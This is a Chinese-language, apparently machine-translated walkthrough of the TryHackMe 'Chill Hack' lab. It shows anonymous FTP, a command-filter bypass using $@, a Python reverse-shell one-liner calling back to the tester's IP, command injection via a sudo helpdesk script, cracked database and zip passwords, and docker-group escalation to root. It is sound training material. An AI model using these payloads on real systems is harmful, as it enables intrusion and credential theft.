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关于安全:TryhackmeChill-Hack命令行注入用户组提权docker

jiezi

免责申明

本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用，请不要将文中应用的工具和浸透思路用于任何非法用处，对此产生的所有结果，自己不承当任何责任，也不对造成的任何误用或侵害负责。

服务发现

┌──(root💀kali)-[~/tryhackme/chillhack]
└─# nmap -sV -Pn 10.10.49.122
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-10-27 09:47 EDT
Nmap scan report for 10.10.49.122
Host is up (0.33s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.23 seconds

开启的服务有 ftp,ssh,http

匿名登录 ftp

有一个 note.txt 文件，下载到本地剖析

└─# ftp 10.10.49.122
Connected to 10.10.49.122.
220 (vsFTPd 3.0.3)
Name (10.10.49.122:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        115          4096 Oct 03  2020 .
drwxr-xr-x    2 0        115          4096 Oct 03  2020 ..
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (90 bytes).
226 Transfer complete.
90 bytes received in 0.00 secs (37.4800 kB/s)
ftp> bye
221 Goodbye.

查看该文件

┌──(root💀kali)-[~/tryhackme/chillhack]
└─# cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

裸露两个可能的用户名：Anurodh和Apaar

命令行加了一些过滤？

查看 80 端口服务

爆破目录

└─# python3 dirsearch.py -u "http://10.10.49.122" -e* -t 100             2 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_|)
                                                                             
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak                                                                    
HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/tryhackme/dirsearch/reports/10.10.49.122/_21-10-27_09-49-03.txt

Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-27_09-49-03.log

Target: http://10.10.49.122/

[09:49:04] Starting:                                        
[09:49:30] 200 -   21KB - /about.html                                       
[09:49:51] 400 -  304B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd     
[09:49:54] 200 -    0B  - /contact.php                                      
[09:49:54] 200 -   18KB - /contact.html                                     
[09:49:55] 301 -  310B  - /css  ->  http://10.10.49.122/css/                
[09:50:02] 301 -  312B  - /fonts  ->  http://10.10.49.122/fonts/            
[09:50:07] 301 -  313B  - /images  ->  http://10.10.49.122/images/          
[09:50:07] 200 -   16KB - /images/                                          
[09:50:09] 200 -   34KB - /index.html                                       
[09:50:10] 200 -    3KB - /js/                                              
[09:50:22] 200 -   19KB - /news.html                                        
[09:50:35] 301 -  313B  - /secret  ->  http://10.10.49.122/secret/          
[09:50:35] 403 -  277B  - /server-status                                    
[09:50:36] 403 -  277B  - /server-status/                                   
[09:50:36] 200 -  168B  - /secret/                                          

Task Completed

咱们看到有一个叫 /secret/ 的目录，个别能叫这种名字的少数都是攻击点

关上发现是一个命令行执行程序

通过测试，命令行做了一些过滤，很多命令都不能失常执行，然而咱们能够用 $@ 绕过

比方查看/etc/passwd

c$@at /etc/passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
aurick:x:1000:1000:Anurodh:/home/aurick:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
apaar:x:1001:1001:,,,:/home/apaar:/bin/bash
anurodh:x:1002:1002:,,,:/home/anurodh:/bin/bash
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

咱们创立一个反弹 shell，应用 paylpad:
python3$@ -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.21.169",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

拿到初始 shell

┌──(root💀kali)-[~/tryhackme/chillhack]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.49.122] 58604
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
whoami
www-data

切换成 tty, 查看本账户权限，能够用 apaar 的身份运行一个脚本

www-data@ubuntu:/var/www/html/secret$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

查看这个脚本的内容和权限

cat /home/apaar/.helpline.sh
#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with:" person

read -p "Hello user! I am $person,  Please enter your message:" msg

$msg 2>/dev/null

echo "Thank you for your precious time!"
www-data@ubuntu:/var/www/html/secret$ ls -alh /home/apaar/.helpline.sh
ls -alh /home/apaar/.helpline.sh
-rwxrwxr-x 1 apaar apaar 286 Oct  4  2020 /home/apaar/.helpline.sh

此文件对于本账户不可写，因而不能够间接把 shell 写进 bash
然而注意代码内容，它别离承受两个参数，第一个 person 没有什么作用，第二个msg，咱们能够看见是作为一个命令间接执行了，因而咱们能够加以利用

横向提权到 apaar

咱们把 msg 命令赋值为：/bin/bash，拿到 apaar 的 shell

www-data@ubuntu:/var/www/html/secret$ sudo -u apaar  /home/apaar/.helpline.sh 
<ml/secret$ sudo -u apaar  /home/apaar/.helpline.sh 

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: max
max
Hello user! I am max,  Please enter your message: /bin/bash
/bin/bash
id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
whoami
whoami
apaar

在 apaar 的 home 目录拿到 user flag

横向提权到 Anurodh

咱们在 /var/www/files/index.php 找到数据库登录信息

apaar@ubuntu:/var/www/files$ cat index.php
cat index.php
<html>
<body>
<?php
        if(isset($_POST['submit']))
        {$username = $_POST['username'];
                $password = $_POST['password'];
                ob_start();
                session_start();
                try
                {$con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
                        $con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
                }
                catch(PDOException $e)
                {exit("Connection failed". $e->getMessage());
                }
                require_once("account.php");
                $account = new Account($con);
                $success = $account->login($username,$password);
                if($success)
                {header("Location: hacker.php");
                }
        }
?>

登录数据库，在 user 表找到两个用户明码

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.00 sec)

mysql> use webportal
use webportal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from users;
select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |

两个 md5 解密进去别离是：

Anurodh：masterpassword
Apaar：dontaskdonttell

然而这两个并不是 ssh 明码。。。

咱们把 images 外面的两个文件下载到本地，用 steghide 拆散出一个暗藏文件

└─# steghide extract -sf hacker-with-laptop_23-2147985341.jpg                                                                                                                                                                          127 ⨯
Enter passphrase: 
wrote extracted data to "backup.zip".

用 zip2john 把文件转成 john 能够读取的信息，而后再用 john 破解这个 zip 文件

┌──(root💀kali)-[~/tryhackme/chillhack]
└─# zip2john backup.zip >passwd.hash
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3

┌──(root💀kali)-[~/tryhackme/chillhack]
└─# john passwd.hash passwd.hash --wordlist=/usr/share/wordlists/rockyou.txt                                                                                                                                                             1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word        (backup.zip/source_code.php)
1g 0:00:00:00 DONE (2021-10-27 13:06) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s total90..cocoliso
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed

解压加密 zip 失去一个 php 文件

<?php
        if(isset($_POST['submit']))
    {$email = $_POST["email"];
        $password = $_POST["password"];
        if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
        {$random = rand(1000,9999);?><br><br><br>
            <form method="POST">
                Enter the OTP: <input type="number" name="otp">
                <input type="submit" name="submitOtp" value="Submit">
            </form>
        <?php    mail($email,"OTP for authentication",$random);
            if(isset($_POST["submitOtp"]))
                {$otp = $_POST["otp"];
                    if($otp == $random)
                    {
                        echo "Welcome Anurodh!";
                        header("Location: authenticated.php");
                    }
                    else
                    {echo "Invalid OTP";}
                }
         }
        else
        {echo "Invalid Username or Password";}
        }
?>

从代码可知，这是验证 anurodh 的登录文件，明码被 base64 加密

这个凭证能够登录 anurodh 的 ssh

登录进去当前传 linpeas，发现以后用户在 docker 用户组，能够利用组权限提权

anurodh@ubuntu:/tmp$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

提权到 root

anurodh@ubuntu:/tmp$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls
proof.txt
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